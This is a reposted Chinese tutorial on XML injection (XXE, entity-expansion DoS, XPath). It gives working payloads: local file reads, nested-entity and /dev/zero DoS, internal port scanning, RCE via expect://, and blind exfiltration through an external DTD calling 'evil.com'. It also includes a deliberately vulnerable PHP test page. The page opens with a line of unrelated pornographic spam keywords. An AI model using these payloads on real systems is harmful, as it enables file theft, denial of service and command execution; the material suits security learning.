日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > asp.net >内容正文

asp.net

XML注入介绍--XXE,XEE,xpath等

發布時間:2025/3/18 asp.net 36 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XML注入介绍--XXE,XEE,xpath等 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

XML注入指在請求的XML中插入攻擊利用代碼。根據不同的場景,可能會形成以下的漏洞形式:

(1)XEE ----xml entity xpansion(xml實體膨脹,用于dos)

? ? ? ? ? 具體介紹:http://www.cnblogs.com/lcamry/p/5737318.html

(2)XXE-----xml external entity injection(xml外部實體注入,最為常見的方法)

? ? ? ? ? 具體介紹:下面內容以及http://www.waitalone.cn/xxe-attack.html

? ? ? ? ? ? ? ? ? ? ? ? ? ? ?blind XXE介紹?http://blog.csdn.net/u011721501/article/details/43775691

(3)soap注入

(4)xpath注入

? ? ? ? 具體介紹http://netsecurity.51cto.com/art/201401/427521.htm

XML實體攻擊已經是一個很老的技術了,這里僅對學習的過程做一個記錄。

<form method="POST" action="">

????<textarea name="keyword" value="" style="width: 500px; height: 300px"></textarea>

????<input type="submit" value="submit">

</form>

?

<?php

$keyword = $_POST['keyword'];

$xml_obj = simplexml_load_string($keyword);

var_dump($xml_obj);

上面這段代碼用于XXE實體攻擊的練習,你可以將其保存至你的環境下用于測試。(記得刪除 :P

XML講解可以參考w3schools的教程-XML

這里簡單說一下XML中的實體類型,大致有下面幾種:

  • 字符實體
  • 命名實體
  • 外部實體
  • 參數實體

除參數實體外,其它實體都以字符(&)開始,以字符(;)結束。常規實體有:&apos;'、&amp;&、&quot;"&lt;<&gt;>。

字符實體類似html中的實體編碼,形如:&#97;(十進制)或者&#x61;(十六進制)

命名實體可以說成是變量聲明,命名實體只能聲明在DTD或者XML文件開始部分(<!DOCTYPE>語句中)。如下面代碼所示:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY x "First Param!">

<!ENTITY y "Second Param!">

]>

<root><x>&x;</x><y>&y;</y></root>

外部實體用于加載外部文件的內容。(XXE攻擊主要利用此實體)

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPe root [

<!ENTITY outfile SYSTEM "outfile.xml">

]>

<root><outfile>&outfile;</outfile></root>

參數實體用于DTD和文檔的內部子集中。與一般實體相比它以字符(%)開始,以字符(;)結束。只有在DTD文件中才能在參數實體聲明的時候引用其他實體。(XXE攻擊常結合利用參數實體進行數據回顯)

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % param1 "Hello">

<!ENTITY % param2 " ">

<!ENTITY % param3 "World">

<!ENTITY dtd SYSTEM "combine.dtd">

%dtd;

]>

<root><foo>&content</foo></root>

combine.dtd中的內容為:

<!ENTITY content "%param1;%param2;%param3;">

上面combine.dtd中定義了一個基本實體,引用了3個參數實體:

%param1;%param2;%param3;。

解析后<foo>...</foo>中的內容為Hello World。

XML實體攻擊主要利用了XML實體中的外部實體結合各種協議來讀取服務器上的數據,在DTD文件中的參數實體聲明時能夠引用其他參數實體的值,因此在XXE攻擊回顯遇到困難時會用到。

* 簡單文件讀取

因為可以進行外部實體加載,在XXE攻擊中常用來進行本地文件讀取。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "file://localhost/c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

在使用file://協議時,有以下幾種格式:

* Linux

file:///etc/passwd

?

* Windows

file:///c:/windows/win.ini

file://localhost/c:/windows/win.ini

(下面這兩種在某些瀏覽器里是支持的)

file:///c|windows/win.ini

file://localhost/c|windows/win.ini

除了使用file://協議進行文件讀取外,如果XML文檔是用PHP進行解析的,那么還可以使用php://filter協議來進行讀取。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "php://filter/resource=c:/windows/win.ini">

]>

<root><foo>&content;</foo></root>

* DoS攻擊

因為解析器會解析文檔中的所有實體,因此如果實體聲明層層嵌套的話,在一定數量上可以對服務器器造成DoS

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY x1 "CPU Consuming Task!">

<!ENTITY x2 "&x1;&x1;">

<!ENTITY x3 "&x2;&x2;&x2;">

...

<!ENTITY x100 "&x99;&x99;&x99;...">

]>

<root><foo>&x100;</foo></root>

嵌套實體聲明曾指數增長,可能造成對服務器的DoS

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY dos SYSTEM "/dev/zero">

]>

<root></root>

加載一個不穩定的文件描述也可能產生DoS。

* 端口掃描

加載外部DTD時有兩種加載方式,一種為私有private,第二種為公告public。

私有類型DTD加載:

<!ENTITY private_dtd SYSTEM "DTD_location">

公共類型DTD加載:

<!ENTITY public_dtd PUBLIC "DTD_name" "DTD_location">

在公共類型DTD加載的時候,首先會使用DTD_name來檢索,如果無法找到,則通過DTD_location來尋找此公共DTD。利用DTD_location,在一定的環境下可以用來做內網探測。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY portscan SYSTEM "http://localhost:3389">

]>

<root><foo>&portscan;</foo></root>

因解析器種類不同,所以針對XXE攻擊進行端口掃描需要一個合適的環境才能夠實現,例如:有明顯的連接錯誤信息。

* 利用DTD進行數據回顯

當利用XXE攻擊進行文件讀取時經常因為沒有回顯而顯得雞肋,這個時候就可以結合參數實體的特殊性,加載一個外部DTD來進行回顯。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">

<!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd">

%dtd;

%send;

]>

<root></root>

其中evil.dtd的內容如下:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>">

%payload;

DTD文件中聲明了參數實體payload,其值是一個實體參數聲明,因為是在DTD里面,所以可以引用上文的%file;參數實體,%file;參數實體為c:/windows/win.ini文本的內容。最后在原XML里引用DTD中的參數實體,此時就可以講本地文件讀取的內容通過HTTP發送出去(為了讓請求的URL有效,這里對使用了php://filter協議,并將內容使用base64進行了編碼)。

此方法針對數據不回顯的情況及其有用。

* 遠程命令執行

當然了,除了文件讀取和DoS外,某些情況下還能進行RCE。例如在PHP開啟了PECL上的Expect擴展時,就能使用expect://協議來執行命令。

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY content SYSTEM "expect://dir .">

]>

<root><foo>&content;</foo></root>

利用XXE攻擊時需要結合實際環境才能發揮出其威力。:D

參考

  • http://www.ibm.com/developerworks/cn/xml/x-entities/
  • https://www.youtube.com/watch?v=eHSNT8vWLfc
  • http://blogs.msdn.com/b/ie/archive/2006/12/06/file-uris-in-windows.aspx
  • http://en.wikipedia.org/wiki/File_URI_scheme

轉載于:https://www.cnblogs.com/lcamry/p/5736998.html

總結

以上是生活随笔為你收集整理的XML注入介绍--XXE,XEE,xpath等的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。